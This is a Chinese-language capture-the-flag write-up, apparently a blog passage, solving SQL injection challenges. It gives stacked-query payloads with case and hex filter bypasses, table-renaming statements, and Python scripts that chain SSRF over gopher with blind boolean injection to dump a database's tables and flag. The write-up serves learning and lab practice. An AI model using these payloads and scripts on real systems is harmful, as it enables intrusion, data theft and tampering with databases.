准备爆数据库名,二分法传入***1’ or (ascii(substr(database(),0,1))<128)#***,结果直接拿到了flag。
题后反思:因为传入***1’ or (ascii(substr(database(),0,1))<128)#*导致后端查询语句变成select * from 数据库名 where username = ‘1’ and pasword =’1’ or (ascii(substr(database(),0,1))<128)#’***因为and优先级高于or,于是整个句子变成了两个部分:
select * from 数据库名 where username = ‘1’ and pasword =’1’ 和
set @abc=concat("selec","t * from `1919810931114514`");#创建一个变量@abc为字符串"select * from `1919810931114514`"
1
prepare sel from @abc;#预备一个语句sel,内容是@abc,也就是"select * from `1919810931114514`"
1
execute sel;#执行sel语句;
构造
1
';set @abc=concat("selec","t * from `1919810931114514`");prepare sel from @abc;execute sel;
然后提示set被ban了,但是用的是strstr(),区分大小写,所以大写绕过
1
';Set @abc=concat("selec","t * from `1919810931114514`");prepare sel from @abc;execute sel;
十六进制绕过的步骤如下:
打开mysql命令行输入
1
select hex("select * from `191981096114514`");
得到一串十六进制字符串。
构造预处理语句:
1
set @abc=73656C656374202A2066726F6D206031393139383130393631313435313460;prepare sel from @abc;execute sel;
set同样大写绕过,payload:
1 2
1';Set @abc=0x73656C656374202A2066726F6D20603139313938313039333131313435313460;Prepare sel from @abc;execute sel;# (上面的图里应该是191981093114514打错了,最终结果应该是上面这行代码//到底是谁起的这个名字啊啊啊啊啊)
思路就是把words表改名为其他的名字,191981093114514改名为words,把其中的flag字段改名为id(或者在xinwords表里增加一列id),最后传入***1’ or 1=1#***使查询结果为true爆出words所有字段内容。
相关语句如下:
1 2 3 4 5
alter table [表名] add [字段名] int(***)/varchar(***) #增加列 alter table [表名] drop [字段名]#删除列 alter table [表名] change [字段名] [新字段名] int(***)/varchar(***)#重命名字段 alter table [表名] rename to [新表名]#重命名表,to可省略 rename table [表名] to [新表名]#重命名表
payload1:
1
1';rename table words to word;rename table `1919810931114514` to words;alter table words add id int(3);##新增一列id
payload2:
1 2
1';rename table words to word;rename table `1919810931114514` to words;alter table words change flag id varchar(50);# #修改flag字段名为id
2023ROIS冬令营internal
这是什么,两个超链接,点一下(
SQLI页面中的内容:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
<?php require_once('config.php');
if ($_SERVER['REMOTE_ADDR'] !== '127.0.0.1') { highlight_file(__FILE__); die('Try to access it from internal!'); } echo"Welcome!\n"; $id = $_POST['id']; if (preg_match("/union| /i",$id)) die('You bad bad >_<'); $con = mysqli_connect(DB_HOST, DB_USER, DB_PASS, DB_DATABASE); $sql = "SELECT * FROM messages WHERE id=$id"; // SQLI >_< $res = mysqli_query($con, $sql); $message = mysqli_fetch_array($res)['message']; echo$message; #回显Try to access it from internal!
if ($_SERVER['REMOTE_ADDR'] !== '127.0.0.1')用户访问的IP必须是本地IP才能进行下面的数据库操作等步骤,也就是说只有通过网页服务器内网访问。如果我们能够通过这个服务器中的另外一个不限制于内网访问的页面,把它当做跳板间接对这个仅内网访问的页面进行操作,就能进行传参等操作。也就是实现SSRF。先看另外一个页面:
1 2 3 4 5 6 7 8 9
<?php highlight_file(__FILE__); // Hint: Do you know gopher? $url = $_POST['url']; if (preg_match("/file:|ftp:|http:|scp:|dict:/i",$url)) die('You bad bad >_<'); $ch = curl_init($url); $res = curl_exec($ch); echo$res;
curl_init()函数初始化一个curl绘会话,值传给$ch,curl_exec()函数执行一个curl会话,值传给$res。最后将结果打印出来。既然可以执行curl,那么不就意味着可以通过这个页面对SQLI页面进行传参等操作了吗。给出了提示:"Do you know gopher?"。emmm。。。并不知道。那就学呗。找到了一篇讲的比较详细的文章学习了一下。
import urllib.parse data = \ """POST /sqli.php HTTP/1.1 Host: 127.0.0.1#使用脚本时删掉该注释,此处要把原包ip改为改为127.0.0.1 Content-Length: 4 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close
id=1
""" result = urllib.parse.quote(data) result = result.replace("%0A","%0D%0A") result = result = urllib.parse.quote(result) #要注意!!如果是希望在浏览器里传参,则要编码两次!!浏览器会自动解码一次,后端解码一次;但是像下面 #要讲的用python的requests库直接传参就只需要编码一次因为不需要经过浏览器解码 print(result) #output #POST%2520/sqli.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Length%253A%25204%250D%250ACache-Control%253A%2520max-age%253D0%250D%250AUpgrade-Insecure-Requests%253A%25201%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AUser-Agent%253A%2520Mozilla/5.0%2520%2528Windows%2520NT%252010.0%253B%2520Win64%253B%2520x64%2529%2520AppleWebKit/537.36%2520%2528KHTML%252C%2520like%2520Gecko%2529%2520Chrome/109.0.0.0%2520Safari/537.36%250D%250AAccept%253A%2520text/html%252Capplication/xhtml%252Bxml%252Capplication/xml%253Bq%253D0.9%252Cimage/avif%252Cimage/webp%252Cimage/apng%252C%252A/%252A%253Bq%253D0.8%252Capplication/signed-exchange%253Bv%253Db3%253Bq%253D0.9%250D%250AAccept-Encoding%253A%2520gzip%252C%2520deflate%250D%250AAccept-Language%253A%2520zh-CN%252Czh%253Bq%253D0.9%250D%250AConnection%253A%2520close%250D%250A%250D%250Aid%253D1%250D%250A%250D%250A
import urllib.parse import requests url = "http://192.168.150.1:43083/curl.php" database = "" for i inrange(1,100): for j inrange(32,126): content = "id=1 and (ascii(substr(database(),{},1))={})#".format(i,j)#判断数据库名第i个字符的ascii码是否为j,是的话为真会返回"meow" content = content.replace(" ", "/**/")#SQL页面存在空格过滤用/**/绕过 content_length = len(content) data = \ f"""POST /sqli.php HTTP/1.1 Host: 127.0.0.1 Content-Length: {content_length} Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close
{content}
""" result = urllib.parse.quote(data) result = result.replace("%0A","%0D%0A") payload = "gopher://127.0.0.1:80/_"+result r = requests.post(url,data={"url":payload}).text #print(r) if"meow"in r: database += chr(j) print(database) break #output #r #ru #rua #数据库名为rua
同样,爆表名,因为可能存在多个表,所以使用group_concat()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
for i inrange(1,100): for j inrange(32,126): content = "id=1 and (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database() limit 0,1),{},1))={})#".format(i,j) ........... #output #f #fl #fla #flag #flag, #flag,m #flag,me #flag,mes #flag,mess #flag,messa #flag,messag #flag,message #flag,messages
盲猜flag在flag表里,爆字段名:
1 2 3 4 5 6 7 8 9
for i inrange(1,100): for j inrange(32,126): content = "id=1 and (ascii(substr((select group_concat(column_name) from information_schema.columns where table_name = 'flag'),{},1))={})#".format(i,j)#爆字段名 ........... #output #f #fl #fla #flag
已知信息:
数据库rua、表flag、字段flag,爆flag内容:
1 2 3
for i inrange(1,100): for j inrange(32,126): content = "id=1 and (ascii(substr((select group_concat(flag) from flag),{},1))={})#".format(i,j)#爆flag表内容